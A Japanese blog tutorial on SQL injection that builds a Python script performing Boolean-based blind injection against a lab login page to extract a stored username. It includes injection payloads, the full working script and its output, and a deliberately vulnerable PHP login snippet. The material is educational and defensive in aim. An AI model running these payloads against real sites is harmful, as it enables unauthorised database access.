[Python] Pythonとセキュリティ - ③Pythonで作るSQL Injectionツール

#はじめに
前回([[Python] Pythonとセキュリティ - ②Pythonで作るポートスキャニングツール](https://qiita.com/CyberFortress/items/0c18f0d773ad51ba9b78))でPythonを利用して簡単なポートスキャニングツールを作ってみた。
今回はウェブ脆弱性の中で重要度が高い「SQL Injection」の理解を深める為、ツールを作ってみよう。

**許可を得ていない対象に実施するのは犯罪です。当該の記事で問題が発生した場合、弊社では一切責任を負い兼ねますのでご了承ください。**

#SQL Injectionとは
SQL Injectionは「Injection」攻撃の一つの種類で、クライアントの入力値がサーバのデータベースに送信され、データーベースの操作、破棄、漏洩などを行う攻撃方法である。攻撃方法の難易度は低いがデータベースを直接攻撃するため、被害が大きい攻撃である。このようなInjectionの脆弱性の場合、スキャニングツールなどで発見される場合が多いため、ウェブの担当者は必ず完成されたウェブページにスキャニングツール等を利用して「Injection Vector」を事前に把握し、改善する必要がある。

##Injection Vectorとは
Injection VectorとはSQL Injectionが挿入できるところである。
主にGET, POSTのメソッドのパラメータや、HTTP RequestのMessage Headerなどがある。

##SQL Injectionの分類
SQL Injectionは主に*「Non-Blind SQL Injection」*と*「Blind SQL Injection」*二つがある。
また、*Non-Blind SQL Injection*には**「Query Result SQL Injection」**と**「Error Based SQL Injection」**
*Blind SQL Injection*には**「Boolean-Based SQL Injection」**と**「Time Based SQL Injection」**がある。

#発生原因
一般的に発生する原因はウェブページからデータベースに値が送信される際、SQLコマンドとして認識される値が検証されていないため、発生する場合が多い。
##脆弱な検証
もし、下記の様にログインをチェックするコードがあると想定してみよう。

```php
<?php
    $id=$_POST["id"];
    $pw=$_POST["pw"];
    $SQL="SELECT * FROM info WHERE id='$id' and pw='$pw'";
    $query=mysql_query($SQL,$DB);
    $query_arr=mysql_fetch_array($querry);
    if($rs_arr){
        header('Location: main.php'); //ログイン成功
     } else {
        header('Location: login.php'); //ログイン失敗
     }
?>
```

POSTで入力されたIDとPASSWORDはそれぞれ「id」と「pw」の変数に保存されて、SELECT文を利用して、データベースに照会する。その結果を「if」文を利用して、結果がある(1, True)場合、main.phpに移動させる。結果がない(0, False)場合、またlogin.phpに移動させるコードである。ログインの成功、失敗の動作もしているし、別に問題はなさそうだが実は大きな問題とみられるのが二つある。
１つ目は、入力されたIDとPWの検証を行っていない。ここで検証というのはIDとPWにSQLで利用する記号(「'」、「"」「#」など)に対して適切な変換または入力禁止とすることである。
２つ目はログインの成功失敗の判断が以下の通り、データベース参照結果のTrueとFalseである。

```php
$query=mysql_query($SQL,$DB);
```
IDとPWを探すSELECT文を単純にデータベースに投げて

```php
$query_arr=mysql_fetch_array($querry);
```

その次、データがある、つまりIDとPWがデータベースに一致したものがある場合、戻り値として1を返還する。
このようにそのIDとPWが本当にデータベースにあるかとは検証せずに、ただ戻り値が1であればログインの検証が終わってしまう。

#攻撃の流れ
##データベースのタイプ調査
ウェブページから使用されているデータベースは主に3つ(**MY-SQL**, **MS-SQL**, **Oracle**)がある。
基本的なSQL文法は似ているが、異なる文法があるため、まず、ウェブサーバがどのようなデータベースを使っているか確認が必要である。
確認方法ではウェブサーバが使用している**WASからの推測**がある。
ASPやASP.NETの場合、「MS-SQL」
PHPの場合、「MY-SQL」
JSPの場合、「ORACLE」で推測できる。

##データベースバージョンの調査
データベースのバージョンを確認することで、当該のバージョンが持っている脆弱性を利用することも可能である。
データベースのバージョンはInjection VectorにSQLバージョンを確認するクエリ文を投げて確認する。

###MY-SQL
```SQL
SELECT VERSION();
SHOW VARIABLES LIKE 'version';
SELECT @@version
```
###MS-SQL
```SQL
SELECT @@version
```
###ORACLE
```SQL
SELECT * FROM v$version WHERE banner LIKE 'Oracle%';
SELECT * FROM v$version;
SELECT * FROM PRODUCT_COMPONENT_VERSION;
```
  
##脆弱な検証を利用して攻撃
上記でSQL Injectionの発生原因を調べてみた。SQL Injection攻撃はそのような脆弱な検証を利用して攻撃を行う。

#requestsモジュールを利用してPythonでSQL Injecitonツールを作ってみよう
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/607f6bdf-f24d-b92e-ad08-869dcfe72c1a.png)
今回は事前に作った脆弱性があるウェブページを利用してSQL Injectionの脆弱性を確認するツールを作ってみる。
ここでは「Boolean-Based SQL Injection」の方法を利用する。
まず、「requests」モジュールを利用する
「request」モジュールはPythonからパケットを送信してくれるモジュールである。
まず、ログインの成功と失敗の動作はどうなってるか確認してみよう

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/5ffcc2af-0822-4978-30a7-9c5178a3168e.png)
【▲ ログインに成功すると、メニューが表示される】
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/68e8edc9-12b0-f403-dc67-415e37b780b5.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/4276dafe-fc4a-de60-f2df-75f1be580155.png)
【▲ ログインに失敗すると、エラーメッセージが表示される】
これで、ログインに成功するとメニュー画面がでて、ログインに失敗するとエラーメッセージが表示されるのを確認した。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/4a3bf215-0465-4f65-478c-abb892f0592e.png)
また、URLにIDとPWのフォームデータが送信されることで、GETメソッドを利用してサーバに送信されるのも確認できた。

まず、IDとパスワードを調べるために、IDの長さを求めるコードを作成しよう。
今回は、精密なSQL Injectionツールの作成が目標ではないため、データベースの保存されているIDを探すことのみソースコードとして作成してみる。
また、データベースに保存されいてるIDの中で一番長さが短いIDと限定する。


```sql_injection.py
import requests

url = 'http://172.16.1.105/login_check.php'
length_id = 0 #IDの長さを保存する変数

while True: #IDの長さが20桁まで検証
    length_id=length_id+1 #1桁ずつ増やす
    sql = "' or char_length(username) = %s; #" % length_id #データベースのusername行の長さをチェックするSQL文を入れる
    para = {'id': sql, 'pw': '1'} #getパラメータにidは上記のSQLを、パスワードには適当に1を入れる
    send = requests.get(url,params=para) #パケットを送信する
    status_code = send.status_code #サーバの応答コードを変数に保存する
    if status_code != 200 : #ステータスが200じゃない場合、エラーを表示して中止する
        print("ステータスエラーです。")
        break
    #本文に「パスワードが正しくありません。」の内容が表示されるとIDの長さが合っているので長さを表示させる
    if "パスワードが正しくありません。" in send.text:
        print("IDは%d桁です。" % length_id)
        break
```

```「結果」sql_injection.py
IDは2桁です。
>>>
```

次は、IDの長さを参考して、IDを調べてみよう。

```python
import requests

url = 'http://172.16.1.105/login_check.php'

length_id = 2 #IDの長さを保存する変数
string_id = "" #IDを保存する変数
for len in range(1,length_id+1):
    for ascii in range(97,123): #小文字a~zのASCIIコードをループさせる
        #データベースに保存されている文字列と長さを比較してTueを探す
        sql = "' or ascii(substring(username,{},1)) = {} AND char_length(username) = {}; #".format(len,ascii,length_id)
        para = {'id': sql, 'pw': '1'}  #getパラメータにidは上記のSQLを、パスワードには適当に1を入れる
        send = requests.get(url, params=para)  #パケットを送信する
        status_code = send.status_code
        if status_code != 200 : #ステータスが200じゃない場合、エラーを表示して中止する
            print("ステータスエラーです。")
            break
        #本文に「パスワードが正しくありません。」の内容が表示されるとIDの長さや文字列が合っているので変数に保存する
        if "パスワードが正しくありません。" in send.text:
            string_id+=chr(ascii) #string_idの変数にASCIIコードをCHARデータがたで保存する

print("データベースに保存されいているID：%s" % string_id)
```

```「結果」sql_injection.py
データベースに保存されいているID：yu
>>>
```

最終的に二つのソースコートを合わせて作ってみよう。

```final_sql_injection.py
import requests

url = 'http://172.16.1.105/login_check.php'
length_id = 0 #IDの長さを保存する変数
string_id = "" #IDを保存する変数

while True: #IDの長さが20桁まで検証
    length_id=length_id+1 #1桁ずつ増やす
    sql = "' or char_length(username) = %s; #" % length_id #データベースのusername行の長さをチェックするSQL文を入れる
    para = {'id': sql, 'pw': '1'} #getパラメータにidは上記のSQLを、パスワードには適当に1を入れる
    send = requests.get(url,params=para) #パケットを送信する
    status_code = send.status_code #サーバの応答コードを変数に保存する
    if status_code != 200 : #ステータスが200じゃない場合、エラーを表示して中止する
        print("ステータスエラーです。")
        break
    #本文に「パスワードが正しくありません。」の内容が表示されるとIDの長さが合っているので長さを表示させる
    if "パスワードが正しくありません。" in send.text:
        print("IDは%d桁です。" % length_id)
        break
for len in range(1,length_id+1):
    for ascii in range(97,123): #小文字a~zのASCIIコードをループさせる
        #データベースに保存されている文字列と長さを比較してTueを探す
        sql = "' or ascii(substring(username,{},1)) = {} AND char_length(username) = {}; #".format(len,ascii,length_id)
        para = {'id': sql, 'pw': '1'}  #getパラメータにidは上記のSQLを、パスワードには適当に1を入れる
        send = requests.get(url, params=para)  #パケットを送信する
        status_code = send.status_code
        if status_code != 200 : #ステータスが200じゃない場合、エラーを表示して中止する
            print("ステータスエラーです。")
            break
        #本文に「パスワードが正しくありません。」の内容が表示されるとIDの長さや文字列が合っているので変数に保存する
        if "パスワードが正しくありません。" in send.text:
            string_id+=chr(ascii) #string_idの変数にASCIIコードをCHARデータがたで保存する

print("データベースに保存されいているID：%s" % string_id)
```
```「結果」final_sql_injection.py
IDは2桁です。
データベースに保存されいているID：yu
>>> 
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/78ae092c-afd9-4146-e6aa-2633ebca2fd2.png)
データベースに直接クエリを投げた見た結果、御覧のように実際存在しているIDということが確認できた。

#まとめ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/775112a6-42a6-12f6-dc96-1725c868ab06.png)
【▲ 2013年から2017年のOWASP TOP10変化】

ご覧のように、2017年にもOWASP TOP10の1位は「Injection」攻撃になっている。SQL Injectionを含め、Injection攻撃は攻撃原理、攻撃方法は単純であるが、その被害が大きいため、ハッカーから愛されている攻撃でもある。

今回はPythonでSQL Injectionツールを作ってみた。前もって作成していた脆弱性のページであり、データベースの構造を知っているため、通常よりも簡単で作成できたかもしれないが、セキュリティやシステムの担当者はこのように短いソースコードでSQL Injectionのツールが作れることに深刻性を気付いて万全な準備をする必要がある。

##記事まとめ
2020年02月18日 - [:sunny:[Python] Pythonとセキュリティ - ②Pythonで作るポートスキャニングツール](https://qiita.com/CyberFortress/items/0c18f0d773ad51ba9b78)
2020年02月14日 - [:sunny:[Python] Pythonとセキュリティ - ①Pythonとは](https://qiita.com/CyberFortress/items/9b95fa3ee0f82c90d62f)